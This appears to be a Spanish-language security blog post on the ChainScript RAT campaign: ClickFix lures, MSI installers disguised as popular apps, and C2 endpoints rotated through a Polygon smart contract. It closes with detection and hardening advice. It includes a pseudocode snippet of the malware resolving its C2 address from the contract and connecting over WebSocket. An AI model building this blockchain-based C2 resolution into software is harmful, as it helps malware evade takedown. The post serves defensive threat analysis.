Introducción

El operador de ChainScript no necesita reconstruir ni redistribuir el binario del implant cuando los analistas bloquean una IP de comando y control. En su lugar, actualiza un smart contract en la red Polygon y los más de 500 hosts comprometidos se reconectan solos al nuevo endpoint WebSocket. Esta separación entre el resolver de infraestructura y el payload malicioso convierte la eliminación de C2 en una operación de red descentralizada, no en un simple bloqueo de dominio o dirección IP. Blackpoint Adversary Pursuit Group documentó esta campaña en septiembre de 2026 y la vinculó a un ecosistema más amplio de lures ClickFix que también comprometió la cuenta verificada de HBO Max en Reddit para distribuir stealers en Windows y macOS.

Qué ocurrió

Blackpoint APG —los investigadores Sam Decker, Andi Ursry y Nevan Beal— identificaron ChainScript como un RAT completamente nuevo que aparece bajo múltiples nombres de build: ComponentTask33, UpdateDigital, HostShared y OrchidViolet66. El vector de entrada replica el patrón ClickFix que ya conocemos: el usuario visita una página de lure que simula una verificación CAPTCHA o una actualización de seguridad, y en lugar de interactuar con un formulario, se le instruye para ejecutar un comando en Terminal o en PowerShell. El resultado es la descarga e instalación silenciosa de un paquete MSI (por ejemplo, ComponentTask33-4d14e6ac.msi) a través de msiexec.exe, disfrazado como instalador de Spotify, Zoom Workplace o Microsoft Teams.

Dentro del MSI, el instalador despliega el runtime de Node.js y lanza el agente JavaScript de ChainScript mediante cadenas de PowerShell y VBScript ocultas. Los artefactos se distribuyen en rutas que imitan aplicaciones Microsoft dentro de %LOCALAPPDATA%, lo que los hace difíciles de distinguir de archivos legítimos durante una revisión manual. Una vez activo, el agente persiste mediante una Scheduled Task y un fallback en la clave de registro HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

ChainScript no es un stealer mono-funcional: expone a los operadores una consola interactiva de CMD y PowerShell, operaciones de archivo, captura de pantalla, despliegue de payloads adicionales, enumeración de wallets de criptomonedas tanto en aplicaciones de escritorio como en extensiones de navegador, y ejecución remota de JavaScript. Para un equipo DevOps, esto significa que un solo endpoint comprometido puede servir como pivote hacia repositorios Git, pipelines CI/CD, credenciales de cloud providers y secretos almacenados en variables de entorno.

La rotación de C2 vía Polygon elimina la efectividad de las listas negras estáticas. Un equipo que bloquea una dirección WebSocket descubre en minutos que el contrato apunta a un nuevo endpoint. Microsoft reportó simultáneamente una campaña ClickFix para macOS que utilizó un cluster de al menos 250 dominios look-alike y un fingerprinting de navegador server-side para mostrar el lure solo a visitantes con entorno genuino de macOS, limitando la visibilidad de crawlers y sandboxes de análisis. En paralelo, la campaña PasteSwitch —documentada por Hudson Rock y ADAMnetworks— sirvió 108 anuncios maliciosos en 48 horas desde la cuenta verificada de HBO Max en Reddit, distribuyendo MacSync, AMOS, Amatera Stealer, AnimateClipper y ZigClipper en macOS y Windows respectivamente.

Detalles técnicos

La cadena de infección sigue tres fases bien delimitadas:

Fase 1 – Entrega. El lure ClickFix instruye al usuario a copiar un comando. En Windows, el comando invoca msiexec.exe /i , que descarga el MSI y lo ejecuta. En macOS, el comando pega una instrucción en Terminal que resuelve un shell-script loader (primer stage) con un blob embebido que se decodifica y ejecuta vía eval, generando un segundo script que descarga el payload Mach-O final.

Fase 2 – Ejecución y persistencia. El MSI extrae el runtime Node.js y el archivo fuente del agente JavaScript en subdirectorios de %LOCALAPPDATA%. Un VBScript actúa como launcher principal. PowerShell crea la Scheduled Task y la clave de registro. El agente arranca bajo el contexto del usuario, sin necesidad de privilegios elevados.

Fase 3 – C2 y rotación. El agente JavaScript abre una conexión WebSocket. Para determinar la URL del servidor, consulta un smart contract desplegado en la red Polygon (EVM-compatible). El contrato almacena una o varias direcciones de endpoint C2 que el operador actualiza sin tocar el malware. El protocolo EtherHiding —popularizado en 2024 y adaptado ahora a un RAT de acceso remoto— permite que el operador rote infraestructura en cuestión de segundos.

// Pseudocódigo del flujo de resolución C2 en ChainScript
const provider = new ethers.JsonRpcProvider(«https://polygon-rpc.com»);
const contract = new ethers.Contract(CONTRACT_ADDRESS, ABI, provider);
const c2Url = await contract.getEndpoint();
const ws = new WebSocket(c2Url);
ws.onopen = () => ws.send(JSON.stringify({ type: «handshake», agentId: AGENT_ID }));

Los componentes del agente están escritos en JavaScript sobre Node.js, lo que facilita la edición y el self-update del implant. El operador puede enviar un comando de actualización que reemplaza el archivo fuente del agente en disco y reinicia la Scheduled Task sin intervención del usuario.

Qué deberían hacer los administradores y equipos técnicos

Visibilidad de red y detección de WebSocket anómalos. Configuren alertas en los firewalls perimetrales y en los NDR (Network Detection and Response) para conexiones WebSocket salientes desde endpoints de escritorio que no correspondan a aplicaciones corporativas conocidas. Las conexiones a wss:// con destino a IPs no resueltas por DNS interno o a endpoints con TTL muy bajo son un indicador temprano. En entornos con EDR, busquen procesos node.exe o wscript.exe hijos de msiexec.exe o powershell.exe con argumentos que apunten a rutas de %LOCALAPPDATA% no estándar.

Bloqueo y control de ejecución de MSI y scripts. Restrinjan la ejecución de msiexec.exe a rutas firmadas mediante AppLocker o Windows Defender Application Control. Deshabiliten la ejecución de VBScript y PowerShell con política de ejecución AllSigned o Restricted en endpoints donde no sea estrictamente necesaria:

# Verificar política actual
Get-ExecutionPolicy -Scope MachinePolicy

# Establecer política restrictiva (solo scripts firmados)
Set-ExecutionPolicy -Scope MachinePolicy -ExecutionPolicy AllSigned

Monitoreo de Scheduled Tasks y Run keys. Auditén periodicamente las tareas programadas creadas fuera de ventanas de mantenimiento y las claves HKCU\…\Run. Un script de detección rápida:

# Listar Scheduled Tasks creadas en las últimas 72 horas
schtasks /query /fo CSV | findstr /i «2026-09»

# Revisar Run keys en el usuario actual
reg query «HKCU\Software\Microsoft\Windows\CurrentVersion\Run» /s

Capacitación y bloqueo de lures ClickFix. El vector no explota una vulnerabilidad: explota la confianza del usuario en instrucciones que parecen legítimas. Refuercen los controles de phishing simulation con escenarios ClickFix específicos (páginas que piden pegar un comando en Terminal o en Run). Bloqueen a nivel de proxy los dominios look-alike identificados por Microsoft y los feeds de inteligencia de Hudson Rock y Blackpoint.

Inventario de Node.js en endpoints. Dado que ChainScript despliega su propio runtime Node.js, un inventario de node.exe en workstations permite detectar instancias que no corresponden a herramientas de desarrollo autorizadas. En entornos donde no se ejecuta desarrollo local, la presencia de Node.js es un hallazgo que justifica una investigación.

Conclusión

ChainScript marca un punto de inflexión: los operadores de malware están adoptando infraestructura blockchain como resolver de C2 no solo para stealers y troyanos bancarios, sino para RATs de acceso remoto completo. La combinación de lures ClickFix, MSI disfrazados de software popular, runtime Node.js incrustado y rotación de endpoints vía Polygon crea una cadena de ataque donde ningún indicador estático —ni la URL del contrato, ni la IP del WebSocket, ni el hash del MSI— resuelve el problema de forma permanente. Para los equipos de seguridad y plataforma, el foco debe migrar de la detección por firma a la detección por comportamiento: conexiones WebSocket no autorizadas, procesos Node.js sin relación con desarrollo, y tareas programadas que se auto-modifican.

Fuentes

  • https://thehackernews.com/2026/09/clickfix-lures-deploy-chainscript-rat.html

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *